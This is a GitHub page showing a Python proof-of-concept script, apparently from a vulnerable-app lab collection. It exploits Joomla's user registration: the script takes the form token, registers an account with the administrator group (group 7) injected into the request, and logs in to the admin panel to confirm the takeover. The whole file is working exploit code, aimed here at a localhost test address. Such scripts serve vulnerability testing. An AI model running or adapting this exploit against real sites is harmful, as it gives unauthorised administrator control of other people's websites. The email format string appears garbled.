forked from Medicean/VulApps
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpoc.py
83 lines (76 loc) · 2.86 KB
/
poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/evn python
# -*-:coding:utf-8 -*-
import hashlib
import uuid
import re
def assign(service, arg):
if service == fingerprint.joomla:
return True, arg
def audit(arg):
url = arg + "index.php/component/users/?task=user.register"
code, head, res, redir_url, log1 = hackhttp.http(url)
p = re.compile(r'<input type="hidden" name="([0-9a-f]+)" value="1" />')
token = p.findall(res)[0]
password = hashlib.md5(str(uuid.uuid1())).hexdigest()
payload = """-----------------------------11366146071214659784807441306\r
Content-Disposition: form-data; name="user[name]"\r
\r
{username}\r
-----------------------------11366146071214659784807441306\r
Content-Disposition: form-data; name="user[username]"\r
\r
{username}\r
-----------------------------11366146071214659784807441306\r
Content-Disposition: form-data; name="user[password1]"\r
\r
{password}\r
-----------------------------11366146071214659784807441306\r
Content-Disposition: form-data; name="user[password2]"\r
\r
{password}\r
-----------------------------11366146071214659784807441306\r
Content-Disposition: form-data; name="user[email1]"\r
\r
{email}\r
-----------------------------11366146071214659784807441306\r
Content-Disposition: form-data; name="user[email2]"\r
\r
{email}\r
-----------------------------11366146071214659784807441306\r
Content-Disposition: form-data; name="option"\r
\r
com_users\r
-----------------------------11366146071214659784807441306\r
Content-Disposition: form-data; name="user[groups][]"\r
\r
7\r
-----------------------------11366146071214659784807441306\r
Content-Disposition: form-data; name="task"\r
\r
user.register\r
-----------------------------11366146071214659784807441306\r
Content-Disposition: form-data; name="{token}"\r
\r
1\r
-----------------------------11366146071214659784807441306--\r
""".format(
username=password, token=token, password=password,
email="%[email protected]" % (password))
head = {
'Referer': arg + 'index.php/component/users/?view=registration',
'Content-Type': 'multipart/form-data; boundary=---------------------------11366146071214659784807441306'
}
code, head, res, redir_url, log2 = hackhttp.http(
url, data=payload, headers=head)
login_url = arg + '/administrator/index.php'
code, head, res, redir_url, log3 = hackhttp.http(login_url)
token = p.findall(res)[0]
login_data = "username={username}&passwd={password}&option=com_login&task=login&return=aW5kZXgucGhw&{token}=1".format(
username=password, token=token, password=password)
code, head, res, redir_url, log4 = hackhttp.http(login_url, data=login_data)
code, head, res, redir_url, log5 = hackhttp.http(login_url)
if 'System <span class="caret">' in res:
security_hole(arg, log=log2)
if __name__ == '__main__':
from dummy import *
audit(assign(fingerprint.joomla, "http://127.0.0.1:32773/")[1])